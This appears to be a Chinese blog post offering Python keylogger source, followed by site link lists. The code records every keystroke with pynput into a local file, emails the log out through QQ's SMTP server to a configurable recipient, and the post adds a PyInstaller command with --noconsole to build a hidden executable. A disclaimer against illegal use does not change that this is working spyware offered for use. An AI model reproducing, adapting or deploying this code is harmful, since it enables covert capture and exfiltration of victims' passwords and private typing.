请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!

 from pynput.keyboard import Key,Listener
 import logging
 import os
 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send_mail(filename):
     file = open(filename,"r",encoding="UTF-8")
     data = file.read()
     file.close()
     msg_from='@qq.com'                                 #发送方邮箱
     passwd=''                                   #填入发送方邮箱的授权码
     msg_to=''

     subject="python邮件测试"                                     #主题
     content=data
     msg = MIMEText(content,"plain","utf-8")
     msg['Subject'] = subject
     msg['From'] = msg_from
     msg['To'] = msg_to
     try:
         s = smtplib.SMTP_SSL("smtp.qq.com",465)
         s.login(msg_from, passwd)
         s.sendmail(msg_from, msg_to, msg.as_string())
         print( "发送成功")
     except:
         print("发送失败")
     finally:
         s.quit()

 def mkdir(path):

     path = path.strip()
     # 去除尾部 \ 符号
     path = path.rstrip("\\")

     isExists = os.path.exists(path)

     # 判断结果
     if not isExists:

         os.makedirs(path)

        # print(path + ' 创建成功')
         return True
     else:
         # 如果目录存在则不创建,并提示目录已存在
        # print(path + ' 目录已存在')
         return False

 # 定义要创建的目录
 path = "C:\\hola\\"
 # 调用函数
 mkdir(path)

 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)

 def press(key):
     logging.info(key)
     if key==Key.enter:
         return False

 with Listener(on_press = press) as listener:
     listener.join()

 send_mail(path+"keylog.txt")

打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令

 pyinstaller -F xx.py --hidden-pynput --noconsole

最新文章

  1. Eclipse for Java EE软件操作集锦(二)
  2. win10控制台程序printf死锁问题
  3. 桶装水 送水 消费充值PDA会员管理系统 介绍
  4. Struts2 Result 类型和对应的用法详解 2
  5. Jquery数组操作
  6. Android启动组件的三种主流及若干非主流方式
  7. ios开发之NavBar和TarBar使用技巧
  8. mysql控制流程函数
  9. C#多线程之旅(7)——终止线程
  10. 二十二、Linux 进程与信号---进程创建(续)
  11. Linux - 查看命令所属的软件包
  12. 关于Android中EditText自动获取焦点并弹出键盘的相关设置
  13. bzoj 3237 连通图 - 并查集 - 线段树
  14. shell 脚本实战笔记(5)--搭建资源的镜像服务器
  15. CentOS 安装第三方yum源
  16. C语言:将结构体数组的成绩按照从小到大进行排序。
  17. January 10 2017 Week 2nd Tuesday
  18. C#封装的一个JSON操作类
  19. CenctOS6 and CenctOS7 多种姿势解决忘记密码
  20. Nginad Server安装

热门文章

  1. WPF封装控件时 检测是否在设计模式中
  2. 44个 Javascript 变态题解析——分分钟让你怀疑人生
  3. OpenCV调试利器——Image Watch插件的安装和使用
  4. Opencv决策树分类器应用
  5. AutoEncoder一些实验结果,并考虑
  6. Excel 2013永久取消超链接
  7. WPF: WrapPanel 容器的数据绑定(动态生成控件、遍历)
  8. 关于 Swift 2.0 - 语言新特性与革新
  9. sql server 查询存储过程指令
  10. XF 绝对布局